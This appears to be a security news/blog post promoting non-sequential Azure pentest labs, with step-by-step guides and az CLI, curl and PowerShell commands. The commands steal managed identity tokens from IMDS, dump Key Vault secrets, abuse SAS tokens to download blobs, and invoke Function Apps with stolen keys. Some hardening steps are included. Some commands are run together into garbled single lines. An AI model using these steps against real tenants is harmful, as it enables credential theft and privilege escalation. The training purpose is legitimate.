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Introduction:
Traditional cybersecurity training often follows a predictable, linear path—learn theory, run a tool, check a box. But real-world cloud attacks, especially in Microsoft Azure, are chaotic, interconnected, and require lateral thinking. Non‑sequential labs that force you to piece together disparate clues—misconfigured storage accounts, overprivileged service principals, and leaked managed identities—build the adaptive intuition needed for modern pentesting.
Learning Objectives:
- Enumerate Azure AD tenants and identify privilege escalation paths using tools like `az cli` and `BloodHound CE` for cloud.
- Exploit common misconfigurations in Azure Key Vault, Storage Accounts, and Managed Identities.
- Apply non‑linear attack chaining to compromise a simulated Azure environment, simulating a red team operation.
You Should Know:
1. Why “Non‑Sequential” Labs Build Better Cloud Pentesters
Most courses give you a neat checklist: Step 1 → Step 2 → Win. But real attacks require pivoting between services. A non‑sequential lab like those from Pwned Labs presents scattered footholds—a public blob container with a backup script, a VM with a custom role assignment, a function app leaking tokens. You must connect them without handholding.
Step‑by‑step guide to approaching a non‑sequential Azure lab:
- Enumerate everything – Start with a broad reconnaissance phase. Don’t assume any resource is irrelevant.
- Map relationships – Identify which identities (users, SPNs, managed identities) have access to which resources.
- Find “orphaned” permissions – Look for stale role assignments or unused credentials that become attack paths.
- Test low‑hanging fruit – Check for public blob containers, outdated TLS, or overly permissive NSGs.
- Chain exploits – Use a credential from one resource to access another. For example, a VM’s managed identity token that can read Key Vault secrets.
Linux command to enumerate Azure resources with `az` CLI (after authentication):
List all subscriptions accessible
az account list --output table
Enumerate all storage accounts and check for public access
az storage account list --query "[].{Name:name, PublicAccess:allowBlobPublicAccess}" --output table
Find Key Vaults and list secrets (requires permissions)
az keyvault list --query "[].name" --output tsv | while read kv; do echo "=== $kv ==="; az keyvault secret list --vault-name $kv --query "[].id" --output tsv; done
Windows PowerShell equivalent using AzureAD module:
Connect-AzureAD
Get all users and their roles
Get-AzureADUser -All $true | select UserPrincipalName, AccountEnabled
Get-AzureADDirectoryRole | ForEach-Object { Get-AzureADDirectoryRoleMember -ObjectId $_.ObjectId }
2. Privilege Escalation Through Azure Managed Identities
Managed identities are a common vector. If you compromise a VM with a system‑assigned managed identity that has Contributor role on a subscription, you can use its token to attack other resources.
Step‑by‑step exploitation guide:
- Obtain the managed identity token – From inside the compromised VM, query the IMDS endpoint.
- Use the token with `az` CLI – Set the token as environment variable and impersonate the identity.
- Discover accessible resources – Try to list Key Vaults, storage accounts, or resource groups.
- Escalate further – If the identity can assign roles, create a new privileged user or add yourself as Owner.
Linux commands to retrieve and use an Azure VM managed identity token:
Request token from IMDS (Azure Instance Metadata Service) TOKEN=$(curl -s 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/' -H Metadata:true | jq -r '.access_token') Use the token with Azure CLI az login --identity --username <managed_identity_client_id> if system-assigned, omit username Or directly with REST API to list VMs (if Contributor role) curl -X GET -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" "https://management.azure.com/subscriptions?api-version=2020-01-01"
Windows (PowerShell) equivalent:
$response = Invoke-RestMethod -Uri 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net' -Headers @{Metadata="true"}
$token = $response.access_token
Use token with REST or Invoke-AzRestMethod
3. Attacking Azure Key Vault Misconfigurations
Key Vaults often contain connection strings, API keys, or certificates. Common flaws: allowing public network access, soft‑delete disabled (so secrets are permanently removed), or access policies granting “List” + “Get” to too many identities.
Step‑by‑step guide for attacking and hardening Key Vault:
- Enumerate Key Vaults – Use `az keyvault list` from any compromised identity.
- Check network restrictions – If “All networks” is enabled, you can access from anywhere.
- Attempt to list secrets – If you have List permission, you can see secret names.
- Dump secrets – With Get permission, retrieve the actual values.
- Lateral movement – Use database connection strings or storage account keys found in secrets.
Commands to test and mitigate:
Attacker: List all secrets (requires List permission) az keyvault secret list --vault-name MyVault --query "[].id" Attacker: Get a specific secret az keyvault secret show --vault-name MyVault --name db-password --query value Defender: Block public access (Azure CLI) az keyvault update --name MyVault --default-action Deny Defender: Add private endpoint (example ARM template snippet) az network private-endpoint create --name vault-pe --resource-group RG --vault-name MyVault --subnet ...
- Storage Account Public Blobs & Shared Access Signatures (SAS)
A non‑linear lab might hide a SAS token in a VM’s startup script. That token could give read/write access to a storage account containing backup files with credentials.
Step‑by‑step SAS exploitation:
- Locate a SAS token – Check environment variables, configuration files, or script logs.
- Parse the SAS token – Understand the permissions (r, w, d, l) and expiry.
- List containers using the SAS – Use `az storage` or REST API.
- Download all blobs – Look for
.pfx,.pem,.env, `.config` files. - Extract credentials – Parse those files for passwords, keys, or certificates.
Linux commands to abuse a SAS URL:
SAS URL format: https://account.blob.core.windows.net/container?sig=... List containers with SAS az storage container list --account-name myaccount --sas-token "?sv=2020-08-04&sig=..." Download all blobs recursively az storage blob download-batch --source container-name --destination ./dump --account-name myaccount --sas-token "$SAS" Alternatively, use Azure Storage Explorer CLI (AzCopy) azcopy copy "https://myaccount.blob.core.windows.net/container/?$SAS" ./local_folder --recursive
Windows PowerShell:
$context = New-AzStorageContext -StorageAccountName myaccount -SasToken "?sv=2020-08-04&sig=..."
Get-AzStorageContainer -Context $context
Get-AzStorageBlob -Container container-name -Context $context | ForEach-Object { $_.ICloudBlob.DownloadToFileAsync(...) }
5. API Security & Azure Functions Abuse
Azure Functions often expose HTTP endpoints. If anonymous access is enabled, an attacker can trigger the function. Worse, if the function uses a system‑managed identity, triggering it might execute privileged actions.
Step‑by‑step guide to testing Function Apps for security flaws:
- Discover function endpoints – Often found in app settings or via DNS enumeration (
.azurewebsites.net). - Check authentication – Try accessing `/admin` or `/api/function` without a key.
- Fuzz for function keys – Some default keys (
master,default) might be active. - Invoke function with stolen key – Use `curl` to POST data that triggers privileged operations (e.g., create a user).
- Mitigation – Always enforce authentication, rotate keys, and use Azure AD auth for sensitive functions.
Commands to enumerate and attack functions:
List function apps (requires reader role)
az functionapp list --query "[].{Name:name, DefaultHostName:defaultHostName}"
Get function keys (if you have `listkeys` permission)
az functionapp keys list --name MyFunctionApp --resource-group RG
Invoke an HTTP trigger (anonymous)
curl https://myfunc.azurewebsites.net/api/HttpTrigger1
Invoke with function key
curl -H "x-functions-key: abc123..." https://myfunc.azurewebsites.net/api/HttpTrigger1
6. Cloud Hardening & Detection for Azure
After exploiting these paths, a defender should implement:
- Just‑in‑time (JIT) VM access to reduce exposure.
- Azure Policy to deny public blob containers.
- Diagnostic settings streaming to Log Analytics for audit trails.
- Conditional Access policies restricting token issuance.
Example Azure Policy to block public storage (JSON snippet via CLI):
Assign built-in policy "Deny public access for storage accounts" az policy assignment create --name "DenyPublicStorage" --policy "6b122d0b-5e2a-4f1b-a8d9-1f3b6b1d8c2e" --scope /subscriptions/<sub-id>
What Undercode Say:
- Key Takeaway 1: Non‑sequential labs force you to think like an attacker—connecting seemingly unrelated misconfigurations (e.g., a public blob containing a function app’s environment variables that leaks a Key Vault URI and a managed identity client ID). This mirrors real‑world cloud compromises where the initial foothold is often trivial, but the real skill lies in lateral movement and privilege escalation across services.
- Key Takeaway 2: Azure’s identity and permission model (RBAC, Azure AD roles, managed identities) is the primary attack surface. Tools like
az cli, `BloodHound CE` (with AzureHound), and custom REST API calls are essential for mapping attack paths. A single overprivileged managed identity can be the golden ticket to tenant‑wide compromise.
Analysis (10 lines):
The post highlights a growing recognition in the cloud security community that traditional, linear “capture‑the‑flag” exercises fail to prepare engineers for real incidents. Pwned Labs’ approach—non‑sequential, chaotic, and discovery‑driven—closely mimics an actual red team engagement. Many Azure breaches start with a leaked SAS token or a misconfigured Key Vault access policy, not a zero‑day. By forcing learners to jump between VMs, storage accounts, and serverless functions without a prescribed order, these labs build the mental muscle for “assumed breach” scenarios. The mention of “nothing is sequential” is critical: attackers don’t follow your documentation. Defenders and pentesters need to handle ambiguity, re‑evaluate assumptions, and constantly update their attack tree. This is especially relevant for multi‑cloud environments where IAM policies differ between AWS, Azure, and GCP. Ultimately, investing time in such labs reduces the gap between certification knowledge and operational reality.
Prediction:
Within the next 18 months, Azure‑specific non‑linear lab platforms will displace traditional CTF vendors for enterprise red team training. As Microsoft continues to push DevOps integrations (GitHub Actions with Azure, AKS, Logic Apps), the complexity of interdependencies will explode. Attack chaining across Entra ID, Azure Resource Manager, and data services will become the standard for advanced persistent threat (APT) simulations. Consequently, we will see a rise in “chaos engineering” for cloud security—automated breach and attack simulation (BAS) tools that deliberately randomize misconfigurations to test defenders. Cybersecurity job postings will explicitly ask for experience with non‑sequential, scenario‑based lab environments, not just multiple‑choice certs. The era of the linear lab is ending; adaptive, mind‑blowing exercises like those from Pwned Labs are the future.
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Reported By: Mariana Arce – Hackers Feeds
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